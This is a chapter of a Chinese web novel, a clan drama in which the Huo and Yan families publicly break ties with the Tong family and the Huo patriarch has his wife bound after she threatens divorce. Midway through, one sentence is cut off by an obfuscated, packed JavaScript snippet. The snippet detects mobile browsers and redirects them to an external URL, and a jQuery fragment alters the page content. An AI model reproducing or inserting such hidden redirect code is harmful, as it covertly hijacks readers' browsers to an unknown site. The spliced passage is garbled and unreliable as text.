护卫过去再堵住钟妈妈的嘴,霍蓁蓁愣愣看着,觉得奶娘扭地好像要把金镯拧断那样,忽然间打个激灵,不知何故让她的心空落落的。霍振羽冲向他的妾室要给他们松绑哪想又有护卫敢阻拦,窝囊屈辱霎时直冲天灵盖烧得他眼睛都在喷火:“滚开!” 没得到放行命令的护卫转向侯爷请示,霍漓江淡淡:“你想救,拿银票来啊。” “爹?!”霍振羽只觉得有股看不见的重压压着他,压得他身体都要爆破了:“奴婢们没有贪墨是霍海啸在耍阴谋,霍海啸在欺骗蒙蔽你,难道你都看不懂吗?” “而且你没听到我的妾室说她有身孕了吗,这样绑着若害她有个闪失怎么办?”霍振羽犹如想把窝囊屈辱憋怒通通抛掉般嘶吼:“还不快让这群护卫滚开!” 围观的人们面面相觑,霍雄鹰差点被他吓跳后狂无语。人群中,皇帝嬴忱璧看晏霁之,晏霁之垂眸猜:“在负隅顽抗吧,幻想自己是人上人、旁人对他该无有不从,现实却是他饱尝难堪;仗着自己的唯一的嫡子对父亲有恃无恐,不想再忍了。” 嬴忱璧补:“还得足够受娇惯吧,若是被父亲冷待着又哪来的有恃无恐?” 而霍漓江压根儿懒得猜霍振羽的心思,更懒得惯着:“你这是在吩咐我做事吗?若是我不应允,你打算状告我霍漓江对你不孝还是不慈?告不慈,你得挨过一百大板才能递状纸,还是告不孝吧,毕竟你现在可不就是在拿自己当霍漓江的老子吗?” 场面顷刻间凝固,仿佛连人群中的交头接耳声都消散了。佟梦姿骇然被吓跳,估摸着她真不能和丈夫硬碰了。佟老太太要添把火被佟梦奭按住,他们要让霍振羽为佟家奋不顾身可不是要让他被霍漓江厌恶,若是霍漓江都厌恶霍振羽了那这外孙还有什么用? 班丞相和显国公挤进人群给圣人和陛下请过安后观摩,显国公悄声问儿子什么情况,薛述聪对他爹耳语:“霍振羽有病,刚逼得霍漓江都问他是拿自己当霍漓江的老子吗?” 还不是薛述聪或少数人这么想而是在场多数看客都吃不消,看霍振羽的眼神都变了。 被父亲当头一棒堪比刺骨的寒冷灌进肺管冻得他直哆嗦又被当众打量害他浑身滚烫的霍振羽在冷热交替的撕扯中霍然生出巨大的委屈,委屈地就是要较劲不肯服软,他爹有何不能顺着他呀?!佟梦姿忙打圆场:“漓江,振羽只是一时口不择言——” 霍漓江懒得听废话,请京兆尹派官差把霍家和晏家的这两批奴婢全部带走。好在,赶在佟老太太他们和涉及到的奴婢都发作起来前,霍蓁蓁不忍心,最先出头了。 “爹你放过奶娘他们吧,八千两,八千两就八千两,让我娘把家里的账补上就是了。” 霍蓁蓁对银两是没概念的,她从来没愁过银钱,她爹指这群奴婢贪墨八百两或者八万两跟八千两银子对她都是同个感受,就是没多少感觉。伺候她多年的奴婢突然遭难,她看他们可怜更愿意保住他们,她哪能想得到她娘会不愿意替这群奴婢掏钱。 佟梦姿嫁进霍家时的压箱底银两是二千两,整副嫁妆是八千两,她们三姐妹出嫁都是用八千两筹备嫁妆没谁多谁少,这在当时跟她爹同级的官员家中已经够丰厚了,只是放在霍家根本不够看,她就哄着丈夫给她补贴,她们姐妹出嫁后都是这么做的。 振羽十岁前霍漓江每年给她补二千两,振羽十岁后到娶妻前,霍漓江每年给她五千两,近两年才肯每年给她八千两。虽然这补贴不算少了,但跟她大姐可没得比。 虽然她姐姐嫁进晏家后晏墉每年就给二千两都没涨过,十年后夫妻闹僵,晏墉还断掉了补贴,可还有晏霁之呢,晏霁之才十岁时就能给母亲孝敬二百两银子了。晏霁之弱冠后年年要给母亲孝敬二万两银子,哪怕母子闹僵,晏霁之照样每年给一万多两银子。 佟梦姿瞧着这大姐真够傻的,非得和儿子硬刚作甚,好好疼爱孩儿,要什么没有?她的振羽孝顺归孝顺但真不懂赚钱,二十岁了还全要靠父母养着。这么惨烈的对比,佟梦姿没点羡慕嫉妒是不可能的,这姐姐傻就傻吧,不然好事全被她占了多不公平啊。 更好在,振羽和蓁蓁在府外的花销超过二百两时,她哄着丈夫付账,霍漓江都愿意的。但即便佟梦姿如今的积蓄早已不是她刚嫁进霍家时能比,出八千银两对她也要肉疼的,何况是给群奴婢掏钱,这不是笑话嘛,再合她心意的奴婢都别妄想。 再者这还是长房的阴谋啊,可恨这丈夫竟然能笨得被长房骗住,但眼下她又不能不保这群奴婢否则她在霍家岂不得被长嫂处处掣肘吗,佟梦姿只得让她儿子出头。 霍振羽咬牙憋屈住自己配合母亲,哪想到他会错意了:“是啊,娘,这些下人向来尽忠职守还有多年主仆情份,哪能无故送官,您就帮他们把府里的账补上吧。” 好嘛又是个不把银两当回事儿的,佟梦姿真要被这双儿女岔住气了。旁人看来霍振羽可真是嫌舒坦,唯一的嫡子又如何,霍漓江又不是没别的儿子能经得起他这样作。 “你想保这群奴婢你就自己出银两啊,冠冕堂皇地让你娘补,你假不假啊你?”霍雄鹰紧接着就找茬,反正吵崩了,现在他们关系恶劣得他不踩上两脚都对不起自己。 霍振羽当然拿得出这笔银两,霍家嫡少爷娶妻时祖父会给十万两的产业和五万两银子,父亲会再给五万银两,霍振羽紧着自己的腰包把他娘推出来可不就是在装模作样。 “我哥哪来的银两?”连同之前被揪出来的账,霍蓁蓁当即反唇相讥:“府里娶妻的少爷们每月三十两月银,我哥哪来的银两?是啊你霍雄鹰拿的月银多,你娘管家嘛。” “你们兄妹装什么穷鬼?”右肩被按住,霍雄鹰没过脑想还以为是霍振羽,转头欲呛时发现这货是他大哥,差点没收住唾沫:“大哥你从哪儿冒出来的?” 霍海啸拿手绢擦擦脸,在弟弟耳畔低语:佟氏母子三人不知霍家少爷娶妻时能得产业,祖父和叔叔担心霍振羽只会把钱财白送给佟家,故而他娶妻时什么都没给。 霍雄鹰错愕下忙恢复鄙夷:“你每月十两月例银、你哥三十两月银,你们兄妹怎么活下来的?你霍蓁蓁一年买珠宝首饰就要多少花销,你们哪来的银两?” “当然是我娘给我们付的账。”霍蓁蓁理所当然的话音落地,霍雄鹰就骂:“放屁!你娘自己都要我二叔每年给她万八千两的补贴,她能供得起你们兄妹挥霍吗,你也不怕笑掉堂哥我的大牙,我叔叔每年给你们娘仨几万银两啊,你犯得着为个八千两扯谎吗?” 霍漓江想真难得他最后能圆住,霍蓁蓁不甘示弱地拔高音量对抗:“你胡扯什么,你不知道就别瞎嚷嚷,我和我哥在府外的花销都是我娘——”衣袖猛地被扯下,霍蓁蓁转过头,见她娘对她使眼色,她心里咯噔声,不得不怀疑:“娘,真是爹……” “废话!”霍雄鹰抢话道:“你娘能供得起你们挥霍吗?你们兄妹做什么白日梦,是我叔是我霍家在供着你们挥霍享受奢靡;靠姓佟的,你连件名贵珠宝都别想买。” 佟老太太听不得最后的话要回击被佟梦奭硬按着,霍振羽真说不出什么滋味,顺郡王妃是真不是滋味,若比夫妻情,她和丈夫的情份是最好的,可她偏是姐妹中过得最紧巴巴的,还不是两个姐姐都有大把的补贴,顺郡王不阔,哪有多少补贴肯给她。 她最近看佟梦娴真是蠢得不可救药了,真逼得晏霁之断掉对她的孝敬,她还想好过吗,她以为她能拿捏得了谁?!身在福中不知福偏要找罪受,活该,她才懒得教导她。 “爹,要不,要不……”霍蓁蓁咬咬唇,瞄瞄她娘和哥哥又瞥眼殷切巴望着她的奴婢,她忙收回视线,忍住因被瞩目而冒出的难堪撒娇:“要不你帮我们补这笔银两吧。” 多数看客有怀疑但也有侥幸,侥幸破灭,他们真想说:你还真提的出这种要求啊你?!霍舒窈真想怼她:你能不能要点脸?霍巨浪莫名想调侃:可惜你不是霍灵渠。霍雄鹰要嘲讽被兄长拦住。 乐邑长公主乐,霍蓁蓁真受娇惯啊,不然哪能如此可爱。 霍漓江没应对转而看向刚现身的老人,赞道:“申时都还没到,佟尚书来得真早。” 霎时间在场的视线几乎全齐刷刷瞩目佟尚书,霍振羽盯着这外祖父不由得眼泛酸,佟梦奭总算能松口气,佟老太太心底涌出股委屈令她鼻酸极了。佟图匡老脸沉硬得犹如石雕,走到二女婿霍漓江面前,利落道:“奴婢们贪墨的钱财,我给他们补,放人。” “不行!”佟老太太想都不想地高声反对:“摆弄些账本来就想指奴婢们贪墨,笑话,谁知他们不是做假账故意污蔑,这就想定从我佟家出去的奴婢的罪了,妄想!” 顺郡王妃没想讽刺都忍不住想笑,这二姐和霍振羽都嚷嚷多少遍是霍家长房的阴谋了,她娘这时反倒不提了,其实爹娘心里门儿清,这两批奴婢就是在贪墨可没冤枉他们。 “梦奭,管住你母亲。你若管不住,跟你妹夫借个护卫把你母亲打昏送回府。”佟图匡语调冰冷得仿佛没有任何感情,佟梦娴惊愕得要反驳被顺郡王妃按住,更没待佟梦奭想好是应还是反劝,佟老太太怒得霍然站起对峙:“佟图匡你好啊——” 四十多年的老夫妻了怎会不清楚彼此的脾性,佟老太太话未尽连好字都是戛然收音,她对视着丈夫恨不得想一口生吞她的阴鸷目光冷不防心惊肉跳,终于意识到丈夫很愤怒很可能什么事都做得出来,她咬牙别过脸,昂首挺胸地坐下维持她最后的不屈。 英王妃佟梦娴和霍蓁蓁看得忽然都有点不是滋味,佟梦姿松口气,还好她爹管了,否则振羽兄妹俩是若劝不动他们爹,霍漓江非要把这群奴婢送官害她在霍家的心腹一下子全被拔起,一时补不齐这么多人,她不是得被长嫂压得抬不起头麽。 佟图匡付出一万八千两银票,霍漓江的长随和晏琼勋便走过去把卖身契给佟尚书。 “行,你带他们回佟家吧,但我提醒你,霍蓁蓁和霍振羽的奶娘就都已经眼高得看不上银饰了要用绸缎要戴金器玉器还要喝银耳滋补。晏家这群奴婢更了不得,用你大女婿的话,全等着他死后搜刮英王府,你佟家若供不起他们以往的富贵生活,当心生乱。” 霍漓江不输少年郎风流精彩的眉眼间溢满笑意,有些观众们险些被闪了眼,平心而论,兴献侯夫人真配不上这位相公。霍海啸想,灵渠的母亲生前必定风华绝代。 被闪过眼后回过味来,看客们真得咂舌,这都些什么奴婢啊,这哪还有点奴婢样。 顺郡王妃早就知道这情况,这会儿还是想鄙夷这两个姐姐竟然能被群下人耍得团团转,明目张胆要穿金戴银喝银耳滋补的奴婢还能懂尽心服侍还有有忠心才怪。 佟家老少更非不懂,但有把柄捏着才更能保证这群奴婢不叛变不被晏家霍家收买。 而过得如此优渥的奴婢,对霍振羽和霍蓁蓁,真没觉得有何不妥,都是他们允许的呀。英王妃佟梦娴则是没把霍漓江的话过耳,佟梦姿更是不能认同地当场出言反对了。 “漓江,府里的账都补上了还让我爹把奴婢们带回佟家做什么呀,他们自从我嫁进霍家起就跟着我服侍我,我用他们伺候都用习惯了,振羽和蓁蓁也离不得他们,” “好了梦姿,此事暂且就这样定吧。”佟图匡打断,佟梦姿不愿意还想反对时被她爹的接下来的话惊愣住了,佟图匡褒奖道:“今日梦娴他们能走出英王府是英王故意放行吧,二女婿你和顺郡王世子都是英王特意请来的吧,这一仗,这大女婿打得真漂亮。 但女婿你能不能告诉岳父,你大姐夫还想做什么?他能点到为止又何至于顺水推舟要让事情闹到不能收场,拿走我这礼部尚书的位置够能让晏墉他停手吗?” 看客群中少数人没异样,只顾看热闹的观众似乎才反应过来事情的严重。霍海啸挑眉,这是想把他猜测的最糟糕的情况曝出来好控制舆论迫使晏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13459294|141656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 家投鼠忌器从而退让吗? 霍雄鹰拿眼瞧他大哥,霍海啸给个不屑嗤笑,霍雄鹰心领神会。佟老太太等人不可思议,顺郡王妃猜到她和佟家的顺遂会结束了但绝没想会这样严重,浑身抖个激灵就冒出寒气。佟梦奭和佟梦娴、佟梦姿连同霍振羽同时喊:“爹/外祖父你在胡说些什么?” “你霍家和他们晏家都在拿我当笑料吧。”佟图匡意有所指地自嘲,真有感悲凉。 “是你自己做的可笑。”霍漓江中肯道:“你七个儿女就佟梦佶还能让人看得上眼,你最大两个儿女佟梦娴和佟梦奭都什么玩意儿啊你没点数吗,这种货色,你居然都不思教导反而用他们来做事还任由他们作妖,你这么行事,旁人怎么把你当回事儿?” 佟老太太和佟梦娴姐弟能忍被这样羞辱就出奇了,要反击时被顺郡王妃眼疾手快按住。顺郡王妃又拽着想出头的二姐,先看爹和霍漓江能对峙出个什么样吧。 “明知我虎视眈眈都不把我当回事儿吗?”佟图匡笑了:“二女婿你是这意思吗?” “霍家和晏家跟佟家做姻亲都二十多年了,二十多年,你对霍家和晏家窥伺到多少?”霍漓江反问:“单是霍家和晏家各自家底,你报的出个准数来吗?” 佟图匡被窒住,不由自主的恐慌,他…他脑中空白,好像不是简单地答不出这个问题而是面临着令他自信崩溃的恐怖。佟梦姿推把女儿,霍蓁蓁瞄瞄他们都是副想知道的表情,她抿抿唇撒娇:“爹,那我们家和晏家各自都有多少家底呀?” 霍舒窈瞧着她这德行真是快醉了,霍漓江叫霍雄鹰,霍雄鹰当即鄙夷:“你是不是傻,大庭广众问自家的家底,而且这事是你个姑娘家能打探的吗,你到底长不长脑子?” “你才不长脑子,而且我是霍家的姑娘,霍家有多少家底,我当然应该要知道。” 霍蓁蓁对呛过霍雄鹰想再问她爹即霍雄鹰要压制她之际,佟尚书挡住了他俩,恭维道:“霍家和晏家谁家不是富可敌国,你们自家都只知个大概,我怎能报的出准数。” “立国百年来,从太祖、太宗、惠宗、肃宗、太上皇,到今上,我朝只出过一位权臣,晏墉的祖父在世时肃宗皇帝以国事相托,当时的晏家权倾朝野。肃宗驾崩前钦封晏墉的祖父第一任英王为摄政王将新帝都托付给他了,授康二年冬,摄政王薨逝,圣人才亲政。” 霍漓江懒得跟他周旋:“你当他们晏家是什么人家?!圣人刚亲政时,朝堂不知道有多少大臣就等着圣人清算晏家,你这点微末伎俩若是都能撼动晏家,你大女儿佟梦娴不早就跟着晏家一起被下狱砍头了,晏家不把你看在眼里不是理所应当吗? 自古权臣有几个能得好下场,可他们晏家做过将近二十年的权臣家族至今都还稳当,这份本事就足够令人忌惮了,你忌惮过吗?晏墉懒得理会,你的妻儿竟然就觉得晏家好拿捏,你也快不把晏家当回事儿了吧,一叶障目不见泰山,怎么叫人看得上眼?” 佟图匡攥紧拳头,老脸隐隐发白。霍振羽不由自主地面红耳热,浑似他爹说的怎么叫人看得上眼是在指他。英王妃佟梦娴总觉得这妹夫是在哗众取宠,她嫁给晏墉都多少年了还能不清楚晏家吗?佟老太太和佟梦奭夫妇是不信他们会捏不住晏家。 不少看客倒是有种振聋发聩的感觉,晋王摸摸下巴,莫非他还小看晏家了吗? 霍漓江再下记料:“你知道晏家晏霁之这辈有多少个之字辈的儿郎吗?” 佟图匡没听懂地打量他,霍漓江忍住飚脏话的冲动耐住脾性说:“摄政王薨逝,朝堂都不知有多少大臣在等着圣人清算晏家,晏家自家能不担忧会阖族倾覆吗?三十年来晏家几个当家人各个如履薄冰,整个家族最重要的事就是期望能全身而退。 晏霁之何故从没把那庶兄晏明潜看在眼里过,就是晏明潜竟然都看不懂自家在谋退路。晏墉是疼爱这个庶长子,但是再疼爱,不该晏明潜知道的事,一个字都没让晏明潜知道过;但自家的处境啊,倘若是晏霁之在晏明潜的位置,他早看懂了还用得着谁提点么。 晏明潜想跟晏霁之争强偏偏连自家的处境都看不懂,晏霁之若是再把这庶兄看在眼里岂不才是犯蠢吗?你再看看你,你是想把姻亲当做踏脚石想把晏家和霍家都吞掉,可你实施的又是什么,你是觉得你嫁个女儿再把女儿牢牢捏在手掌心里就万事大吉了吗? 你在做什么白日梦,晏家之字辈的儿郎承担着家族退路的重任,你却连晏家有几个之字辈的儿郎都不知,你还能知道晏家什么,晏家若是提防你岂不才是没事找事吗?” 佟图匡这刻真险些被逼出泪来,顺郡王妃佟梦如苦笑地抬手擦擦眼,然除他们父女外,佟老太太几位差不多都持保留态度或者更愿意当做耳旁风,冰冻三尺非一日之寒,何况是要打碎自己的固有认知掐灭想象中的美好及至要面对自己的无能,太难了。 围聚的看客不断增多,吏部薄尚书和翊善伯几位大人靠近班丞相身侧,湘王带着媳妇来到父皇和皇兄身边惹得魏王瞧他好几眼,还引得皇帝注视魏王了,魏王无语道:“我看老八像只小白兔似的。”霎时令湘王反呛:“你才是只小白兔,你全家都是小白兔。” “他的全家不就有你嘛,你俩是亲兄弟啊。”晏霁之好意提醒,惹得皇帝真想踹他,果然湘王当即冲着魏王和晏霁之同时开轰,闹得太上皇真嫌糟心,直让几个大臣劝架。 霍巨浪则被凑过来拍拍他的霍枫叶吓跳:“小叔你还拖家带口地来看热闹啊。”这小叔都把他和他大哥各自的嫡长子嫡长女四个娃连同霍桑柔和小祐娃娃全带来了。 “抱起来吧,要不然娃娃们看不见。”抱着五岁的小祐的霍枫叶善意提示,霍巨浪转头对上这四个最小都已经八岁的娃,眼神有点发直,这小叔绝对故意的。 霍二奶奶桓炜若忙把侄女霍未央抱起来,让妹妹帮她抱她的女儿。桓炜彤默默扯扯丈夫再抱起外甥女,晏煦之嘲笑眼这姐夫再把他八岁的儿子抱起来,剩霍巨浪和十二岁的霍世韬大眼瞪小眼。霍世韬只好向二叔张开手臂,霍巨浪苦逼地抱起这大侄子。 晏和之挤过段挪到堂兄们身边悄咪咪探讨:“我不知道我还有这样的重任哎。” “我也不知道。”抱着娃的晏煦之附和,晏朗之赞同:“我也不知道。” 三个突然被赋予家族重任的年轻男人相互看看,得出个结论:“回家问问吧。” 晏明妧远远瞥见这群堂弟,真嫌苦涩,晏家在谋求退路,她和弟弟都自信是最得父亲疼爱的儿女竟然从不知晏家在谋退路,晏霁之根本不得父亲疼爱偏就是什么都清楚明了;她竟是才看明白,父亲的疼爱和栽培器重是彻底分离的,不是有疼爱就能有所有。 甚至她爹的疼爱在爹的重视面前脆弱不堪,她爹不疼爱晏霁之但就是重视他,父亲疼爱他们但是也就只有疼爱,父亲从没想过对他们寄予厚望,父亲把栽培器重全给晏霁之了,只因晏霁之是嫡出。晏明妧想笑,嫡庶嫡庶,原来晏家的嫡庶如此不可逾越。 衙门前的灿然日照在被沉闷覆盖的光影里溜走,沙漏的标时滑进申时,廊檐树荫缝隙中偏偏像倾泻着余晖落寞时的萧索,竟不知是风暴将至还是尘世里的人心苍凉了。 “你带着家眷回府吧,晏墉是故意放行,他只是被你这群妻儿烦得忍无可忍了不想再惯着佟家;今后,晏家和佟家断亲,霍家和佟家断亲,佟家的好坏死活与霍家晏家再无瓜葛,只要佟家不来挑衅,霍家和晏家都没闲情搭理你佟家,佟尚书好自为之吧。” 长随将两份断亲文书递给佟尚书,佟图匡没接,霍漓江再道:“京兆府已经用印留案,你该清楚这是最正规的断亲,你接不接这断亲文书都无所谓,还是当做教训收下吧。” 佟图匡仍然没动静,霍漓江懒得再耗着:“霍海啸,走了。” 可砸下断亲的重锤哪儿还能是霍漓江想走就能走得,佟老太太他们乃至佟图匡、霍雄鹰和霍舒窈以及众多看客是被断亲砸晕了,闹成这样,断亲似乎是水到渠成,但对佟姓诸位和霍振羽兄妹俩真的是不可思议,他们就没想过还会有断亲这种事。 刚刚得以松绑的这群奴婢和佟梦娴的那群被杖刑伤重未愈的奴婢们谁又不是呢,霍家和晏家都跟佟家断亲对他们绝对没半点好处,真急起来,忙凑对商量对策。 佟图匡想过晏家乃至霍家可能会对付佟家的许多情形就是没想过断亲,突如其来的断亲让他懵了,他没接断亲文书就是不敢相信地一时都反应不过来,更遑论佟老太太母女、佟梦奭夫妇和霍振羽兄妹,他们都没想过会被反击,哪可能受得了断亲?! “霍漓江,霍漓江你还真是想反了天了啊你?!”佟老太太暴跳如雷,佟梦娴紧随母亲要教训被顺郡王妃死死按住:“晏墉都没在,你就别再添乱了,二姐他们会阻止的。” 被惊醒过来的看客们瞧着这位猖狂的佟老太太都不知该讽刺还是觉得她真逗啊,还记得佟老太太不久前曾放话‘这姻亲真不想做了是吧’的观众们更觉好笑,没想到能和佟家断亲但真高兴的霍雄鹰直翻白眼,这种脑瓜有病的老太婆,他都懒得骂了。 还不到四十岁的谷王频频皱眉,他恐怕皇兄和陛下真要疑心佟家什么心思了。显国公意外晏家和霍家还挺慈悲,晏墉和霍漓江摊到这种岳家竟然都没让婆娘病逝。 班丞相恰相反,看到的是晏家和霍家的狠辣,二十多年把整个佟家养得彻底不知所谓,对付佟家都嫌脏他们的手要令佟家自取灭亡。晏家要晏霁之就等着晏霁之对生母死心,霍家不要霍振羽就任由霍振羽被养废,可比让佟氏女病逝凌厉百倍。 或许是对豪族姻亲的把握自负太久令佟图匡真的没想过他的谋算可能会令他的女儿们在夫家病逝,更没想过姻亲家还能因此不要自家儿孙,但此刻断亲出来,他还是本能地感到有寒气从脊椎里冒出,佟图匡打个冷颤,颤巍巍地接过这两份断亲文书。 霍漓江径直往前走,佟梦姿喊他站住,霍蓁蓁一时间完全不知所措,霍振羽眼神直勾勾盯着这个父亲不敢相信他这样冷血,佟老太太被刺激得眼冒金星头昏耳鸣,好像浑身血沸地心脏都要跳出来了,发狠咆哮:“霍漓江你再敢走一步,老娘死给你看?!” 人潮涌动的大理寺衙门前倏然安静如死寂,晏墉和晏副相等几人走进人群找到晏霁之。霍漓江止步,给霍海啸个眼神,霍海啸把眼神传给霍雄鹰,都不用口头交流,霍雄鹰很懂得更没猜错地转身放话:“你想撞墙撞墙啊,我们三个霍姓的谁拦你谁是龟孙。” 被憋住的人群险些爆笑,霍巨浪嫌惨不忍睹地想捂脸,穆国公霍秦川都想捂脸,这三个混球好歹顾念点霍家的风评吧。 霍舒窈是懂了,难怪二叔要派霍雄鹰出场。 “好,好!这可是你们自找的!”佟老太太忍无可忍地冲着大理寺衙门前的石狮冲去,佟梦奭夫妇和英王妃佟梦娴乃至群奴婢都配合大喊,霍蓁蓁看得心惊肉跳,顺郡王妃可想笑,想笑得眼泪快流出来了,他们就不觉得难看吗?佟家还想在京畿立足吗? 大理寺卿淡定冲下属使眼色,他再走向佟尚书劝:“佟老哥,管管吧,太难看了。” 晏琼勋算领悟了他爹竟把自家的断亲事宜请霍家出面,他真扛不住佟家的死缠烂打。 衙役们成功拦住要撞石狮的佟老太太,佟梦奭他们忙跑过去演下场,佟老太正坐在地上冲这群多事的训骂、佟图匡刚走过去要管制时老夫妻俩双双被熟悉的嘶吼抑住了。 “霍漓江你是不是疯了,你真疯了是吧,刚才寻死的是我亲娘,佟家是我的娘家。” 佟梦姿满面阴沉地走到这丈夫面前,眼睛充血,眦目欲裂道:“你现在就给我把断亲收回去再给我爹娘赔罪,若不然我就带着振羽和蓁蓁跟你和离,大家都别过了!” 103. 第103章 盲目可笑,高估自己可笑,盲目地高估自己或许就不是可笑而是人生的可悲。 在场数以千计人应该都没想过兴献侯夫人能因霍家和佟家断亲就拿带儿女和离来威胁丈夫,谷王心悬起来被谷王妃握住手,霍桑柔莫名紧张,同在这片黑压压人群中的娉姨娘和霍鸳娇姐弟兴奋,巴不得霍蓁蓁娘仨比他们惨,霍漓江就把这娘仨扫地出门。 更多观众是看这位兴献侯夫人真不愧是佟家的亲女儿,不长脑啊,你真敢脱离霍家吗,没有霍家,你和你生的儿女能算什么,当众和霍漓江硬刚是逼得你自己下不来台啊,你指望霍漓江当众被媳妇威胁后还能退让吗?哪怕求到宽恕,你在霍家还能好过吗? 谷王不错眼地盯着女婿,霍振羽低着头,谷王猜不出这女婿在想什么,偏偏能观察出霍振羽没有正常的儿女面对母亲突然要和离时的那种惊愕焦灼,闹得他都要焦灼了。 看客们维持基本的安静看戏,霍蓁蓁心砰砰跳,霍漓江挑眉:“你威胁我?” “你想这样想就这样想吧。”佟梦姿从来没有对丈夫这么强硬过,可第一回如此强势,她非但不虚反而还有种隐秘的痛快:“反正我绝不允许断亲更不许你对我父母不敬。” 佟老太太狠狠得意冷笑,让儿女扶着站起来回座椅休息。佟图匡都忍不住松口气,梦姿能强硬起来就好啊。佟梦奭甚至想冲这群姓霍的啐口,念在众目睽睽才忍住了。 可旁观者,许多百姓还有好些朝臣乃至太上皇都憋得有点难受,谷王看着那女婿竟然还像个没事人似的都不知该哭该笑;谷王妃难以置信想,莫非霍振羽还想帮衬他娘吗? 大理寺卿注意到佟尚书的松口气,在心底摇头,当家人都如此昏聩,佟家岂能不败。 霍雄鹰要抓狂,佟氏都是要靠着他叔的补贴过活的,她究竟什么脑子啊才能对他叔说出我不允许这种话?! 霍舒窈冷笑,佟氏真病得不轻啊竟然把她二叔当泥捏的。 晋王和魏王都怀疑晏家和霍家到底是怎么忍下来的?不同的是,魏王问了。 “是耳濡目染潜移默化太可怕。”晏霁之凝望前方唏嘘:“两年来,佟家沉浸在他们幻想的假想中不可自拔,佟梦姿受佟家熏染已经想当然自觉她和霍漓江平起平坐了,她握着儿女更能反压霍漓江;她不能容忍霍家和佟家断亲,会威胁丈夫不足为奇。” “霍振羽这态度是支持他母亲吗?”正徽帝嬴忱璧隔着面前的人群打量怀疑,霍巨浪和逐渐意识到霍振羽沉默冷静自持得不寻常的看客们也在注视疑惑着。 没能观察到动静,有些观众嘲笑他蠢,非要逼着亲爹捧庶子来压他活活走绝自己的路。还有些犀利的看客们想到霍振羽今日可是陪着英王妃来欲状告英王世子不孝啊,到他自己却全然不见他对父亲孝敬,这样的对照,他自个儿就把自己的品行败坏掉了。 姗姗来迟的霍四奶奶抱着刚周岁的儿子和霍三奶奶陪霍贵妃在数名懂武宫女和禁军的保卫下挤到霍枫叶他们这边,霍桑柔惊喜叫姐,小祐欢喜扑向姨母,霍灵渠接过小祐,神情是真不大好。霍桑柔瞟瞟霍振羽这媳妇,没话找话道:“你公婆在闹和离了。” “我知道,还知道他甚在意妾室的胎。”霍四奶奶拿脸贴贴儿子的脸颊。 霍桑柔嫌她矫情,这种时候还要在意那点小事。霍枫叶解释:“海啸他们兄弟的惯例是有嫡长儿女后再令妾室避孕五年才允许妾室生养,霍振羽和岳家协定的是三年。而今灿哥儿刚满周岁,花珀姨娘的胎按规矩不能留,甚至花珀姨娘都不该再留着。” 这样是有点惨,霍桑柔想,不过:“反正你更惨的还在后头,还是不用在意了。” 周围圈人:“……” 霍三奶奶忙安慰堂弟妹,霍舒窈把这冒失的堂妹往身后拽,霍桑柔默默移向她姐姐。霍灵渠摸摸妹妹的额头,转向初识的弟妹,中肯道:“桑柔的话虽然不中听,但话粗理不粗,弟妹是该替自己和灿哥儿想想,你若寄望于丈夫恐怕今后会比较难过。” “谢大姐提点。”向来爽利的霍四奶奶难抑哽咽,她看眼孩儿再看向远处的丈夫,霍振羽波澜不惊地低着头,隔着数丈远,好像都能看见霍振羽很痛快,她悲凉地笑了。 霍漓江不知是否也在等着霍振羽能阻拦他娘,总归他是深深注视着佟梦姿有一会儿后才表态:“我亲娘都不敢威胁我,你威胁我?你佟梦姿嫁给我二十余年真是白嫁了。”倏然间,他转狠厉撂下话:“就冲你敢威胁我,我今天不给你张休书,我就不叫霍漓江。” 佟老太太立时要教训这二女婿被小女儿死死按着臂膀,大多观众差不多都清楚这夫妻俩肯定要相互飚飚狠话都当正常,佟图匡也明白霍漓江不可能不反抗下就退让可还是忍不住心七上八下。霍蓁蓁心快跳到嗓子眼了,悄悄走到哥哥身边,霍振羽让妹妹稳住。 “是我要和离!”佟梦姿被骇跳后强势对抗:“是我要带着振羽和蓁蓁跟你和离。” 霍漓江懒得搭理她,转向大理寺卿要笔墨。大理寺卿本着礼数刚劝上就被这位国舅爷冷冰冰地盯着,不再多事地让衙役准备。可对佟梦姿,这跟她预想的偏离太大,她心里不安,忍不住再警戒:“霍漓江,是我要跟你和离,带着振羽和蓁蓁跟你和离。” 刚摆脱小女儿束缚的佟老太太看着二女儿总算还争气才忍住没帮她出头,转而教训身边这个胳膊肘往外拐的。英王妃佟梦娴可嫌那二妹不中用,竟然要拿和离才能管住丈夫,这么想时她可丝毫没想过她和晏墉是个什么情形,她也不想再管这吃里扒外的小妹。 观众们看霍振羽还纹丝不动几乎都想笑了,谷王想哭,他接不住女婿这么胡来啊。 霍漓江没再无视,看她眼,佟梦姿放心地得意起来,然她还没得意地再反压,霍漓江就对大侄儿交代:“霍海啸,把这婆娘处理掉。”此言既出对姓佟诸位和霍振羽浑似晴天霹雳,佟梦姿被强烈的不安狠狠吓跳后慌忙镇定冷笑嘲弄:“霍漓江——” 没待她吐出第四个字,霍海啸挥挥手,霍家的护卫出列两名拿麻绳疾跑过来把这个曾经要保护的侯夫人毫不迟疑地拿下捆起来再拿布条绑住她的嘴,霍蓁蓁看得呆若木鸡,霍振羽不可思议难以置信地冲过去救母亲,霍家再出两名护卫利落地跟他动手。 与此同时,佟老太太勃然站起怒得血管都要爆裂了:“反了,反了!霍漓江你真活得不耐烦了啊,还不快把梦姿和振羽放开,要不然老娘让你霍家全家吃不了兜着走!” 众看官们真懒得再嘲笑佟家做白日梦做得疯癫了,太上皇却是皱起眉头,他看到现在第一回皱眉。谷王捕捉到皇兄的神情瞬间心头一凉,这是皇兄真在疑心佟家的心思了? 佟图匡不知是被老妻的咆哮惊到了还是被霍漓江这女婿的大胆反抗惊到了,他被狠狠吓跳后浑身发凉。英王妃佟梦娴紧随她母亲之后大怒训斥,她嫌二妹不中用也不能放任着妹夫这样欺负他们佟家人啊;至于佟梦奭,仍在痛恨,痛恨得只顾痛恨没想出头。 